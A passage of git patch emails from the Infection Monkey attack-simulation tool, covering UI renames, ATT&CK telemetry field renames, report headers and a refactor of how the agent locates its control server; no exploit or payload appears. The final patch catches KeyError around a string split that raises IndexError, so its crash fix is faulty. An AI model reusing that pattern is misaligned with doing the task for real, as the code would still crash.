self).__init__('T1222', status, machine) self.command = command From 1e661476a95f62d3848a81b9b63e0d40052bdda6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 08:52:36 +0300 Subject: [PATCH 37/43] UI bugfixes --- .../cc/ui/src/components/attack/techniques/T1041.js | 8 ++++---- .../cc/ui/src/components/attack/techniques/T1090.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1188.js | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js index be691e484..3d6b45d08 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import {scanStatus} from "./Helpers"; +import {ScanStatus} from "./Helpers"; class T1041 extends React.Component { @@ -22,12 +22,12 @@ class T1041 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? : ""}
); diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js index 99660cf65..60bfcde43 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" class T1090 extends React.Component { @@ -25,7 +25,7 @@ class T1090 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ?
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 15:05:14 +0300 Subject: [PATCH 38/43] Renamed '_type' to 'gathered_data_type' in data from local system attack technique. --- monkey/infection_monkey/telemetry/attack/t1005_telem.py | 8 ++++---- .../cc/services/attack/technique_reports/T1005.py | 4 ++-- .../cc/ui/src/components/attack/techniques/T1005.js | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py index 228ccb67c..999d8622a 100644 --- a/monkey/infection_monkey/telemetry/attack/t1005_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -2,21 +2,21 @@ from infection_monkey.telemetry.attack.attack_telem import AttackTelem class T1005Telem(AttackTelem): - def __init__(self, status, _type, info=""): + def __init__(self, status, gathered_data_type, info=""): """ T1005 telemetry. :param status: ScanStatus of technique - :param _type: Type of data collected + :param gathered_data_type: Type of data collected from local system :param info: Additional info about data """ super(T1005Telem, self).__init__('T1005', status) - self._type = _type + self.gathered_data_type = gathered_data_type self.info = info def get_data(self): data = super(T1005Telem, self).get_data() data.update({ - 'type': self._type, + 'gathered_data_type': self.gathered_data_type, 'info': self.info }) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index 06f408784..b84fe4a6f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -19,12 +19,12 @@ class T1005(AttackTechnique): 'as': 'monkey'}}, {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, 'status': '$data.status', - 'type': '$data.type', + 'gathered_data_type': '$data.gathered_data_type', 'info': '$data.info'}}, {'$addFields': {'_id': 0, 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'type': '$type', 'info': '$info'}}}, + {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}}, {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js index 6746d16ed..afc676797 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -11,10 +11,10 @@ class T1005 extends React.Component { static getDataColumns() { return ([{ - Header: "Data gathered from local systems", + Header: "Sensitive data", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Type', id: 'type', accessor: x => x.type, style: { 'whiteSpace': 'unset' }}, + {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }}, {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, ]}])}; From bfa524b3ea24567b205cdda7aa048e86e17b38e6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 15:20:38 +0300 Subject: [PATCH 39/43] Fixed typos in UI (renamed scanStatus to ScanStatus) --- .../cc/ui/src/components/attack/techniques/T1005.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1222.js | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js index afc676797..6d46c2285 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import {renderMachineFromSystemData, scanStatus} from "./Helpers"; +import {renderMachineFromSystemData, ScanStatus} from "./Helpers"; class T1005 extends React.Component { @@ -23,7 +23,7 @@ class T1005 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ?
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 15:39:10 +0300 Subject: [PATCH 40/43] Fixed CR comments --- .../cc/ui/src/components/attack/techniques/T1018.js | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js index 6a903244e..dcf7687db 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, renderMachine, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers" class T1018 extends React.Component { @@ -22,8 +22,8 @@ class T1018 extends React.Component { return ([{ columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, - {Header: 'Started', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, - {Header: 'Finished', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, + {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, ] }])}; @@ -33,7 +33,7 @@ class T1018 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 16:27:48 +0300 Subject: [PATCH 41/43] Fixed CR comments --- .../cc/services/attack/technique_reports/T1016.py | 7 ++----- .../cc/ui/src/components/attack/techniques/Helpers.js | 10 +++++----- .../cc/ui/src/components/attack/techniques/T1016.js | 6 +++--- .../cc/ui/src/components/attack/techniques/T1082.js | 4 ++-- 4 files changed, 12 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 4525fd035..43d7c42b0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -21,7 +21,7 @@ class T1016(AttackTechnique): 'networks': 0, 'info': [ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, - 'name': {'$literal': 'Network connections (via netstat command)'}}, + 'name': {'$literal': 'Network connections (netstat)'}}, {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, 'name': {'$literal': 'Network interface info'}}, ]}}] @@ -29,10 +29,7 @@ class T1016(AttackTechnique): @staticmethod def get_report_data(): network_info = list(mongo.db.telemetry.aggregate(T1016.query)) - if network_info: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value + status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value data = T1016.get_base_data_by_status(status) data.update({'network_info': network_info}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index b0448f033..3025b4bc9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -36,14 +36,14 @@ export function getUsageColumns() { style: { 'whiteSpace': 'unset' }}] }])} -/* Renders fields that contains 'used' boolean value and 'name' string value. +/* Renders table fields that contains 'used' boolean value and 'name' string value. 'Used' value determines if 'name' value will be shown. */ -export function renderCollections(info){ +export function renderUsageFields(usages){ let output = []; - info.forEach(function(collection){ - if(collection['used']){ - output.push(
{collection['name']}
) + usages.forEach(function(usage){ + if(usage['used']){ + output.push(
{usage['name']}
) } }); return (
{output}
); diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js index 934b75692..63e2bb4a5 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, renderCollections, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" class T1016 extends React.Component { @@ -15,7 +15,7 @@ class T1016 extends React.Component { Header: "Network configuration info gathered", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Network info', id: 'info', accessor: x => renderCollections(x.info), style: { 'whiteSpace': 'unset' }}, + {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }}, ] }])}; @@ -24,7 +24,7 @@ class T1016 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Gathered info', id: 'info', accessor: x => renderCollections(x.collections), style: { 'whiteSpace': 'unset' }}, + {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }}, ] }])}; From 2d82a185019e8202cc2c0c316324dc10c4f62c19 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 21 Aug 2019 10:02:08 +0200 Subject: [PATCH 42/43] Add missing requirement --- monkey/monkey_island/requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 6e57d9128..e6d81e6aa 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -25,3 +25,4 @@ wheel mongoengine mongomock requests +dpath From 4b356c2cf4d30b97efa7421af18f388d86f1f7a5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 21 Aug 2019 11:54:38 +0300 Subject: [PATCH 43/43] Fixes bug where monkey crashes if default server flag is not passed --- monkey/infection_monkey/monkey.py | 27 ++++++++++++++++++--------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index ce5ab2093..692e278fb 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -67,10 +67,7 @@ class InfectionMonkey(object): self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server - try: - self._default_server_port = self._default_server.split(':')[1] - except KeyError: - self._default_server_port = '' + if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True @@ -87,9 +84,10 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if not ControlClient.find_server(default_tunnel=self._default_tunnel): - LOG.info("Monkey couldn't find server. Going down.") + # Sets island's IP and port for monkey to communicate to + if not self.set_default_server(): return + self.set_default_port() # Create a dir for monkey files if there isn't one utils.create_monkey_dir() @@ -116,9 +114,6 @@ class InfectionMonkey(object): monkey_tunnel.start() StateTelem(False).send() - - self._default_server = WormConfiguration.current_server - LOG.debug("default server: %s" % self._default_server) TunnelTelem().send() if WormConfiguration.collect_system_info: @@ -329,3 +324,17 @@ class InfectionMonkey(object): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + + def set_default_port(self): + try: + self._default_server_port = self._default_server.split(':')[1] + except KeyError: + self._default_server_port = '' + + def set_default_server(self): + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return False + self._default_server = WormConfiguration.current_server + LOG.debug("default server set to: %s" % self._default_server) + return True